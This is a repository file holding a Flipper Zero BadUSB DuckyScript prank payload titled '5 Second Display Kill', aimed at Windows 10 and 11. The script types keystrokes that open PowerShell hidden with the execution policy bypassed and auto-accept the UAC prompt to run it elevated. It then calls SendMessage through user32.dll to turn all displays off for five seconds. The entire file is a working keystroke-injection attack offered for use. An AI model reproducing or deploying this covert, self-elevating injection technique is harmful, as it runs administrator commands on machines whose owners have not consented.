Files
BadUSB-Files-For-FlipperZero/Pranks/5 second Screen Kill.txt
2023-05-10 12:57:19 +00:00

21 lines
608 B
Plaintext

REM Title: 5 Second Display Kill
REM Author: @beigeworm | https://github.com/beigeworm
REM Description: Uses Powershell to kill all displays for a short period of time.
REM Target: Windows 10,11
DEFAULT_DELAY 100
REM open powershell (remove -W Hidden to show the window)
GUI r
DELAY 750
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
CTRL-SHIFT ENTER
DELAY 1500
ALT y
DELAY 5000
STRING (Add-Type '[DllImport("user32.dll")]public static extern int SendMessage
STRING (int hWnd, int hMsg, int wParam, int lParam);' -Name a -Pas)::SendMessage(-1,0x0112,0xF170,2);sleep 5;exit
ENTER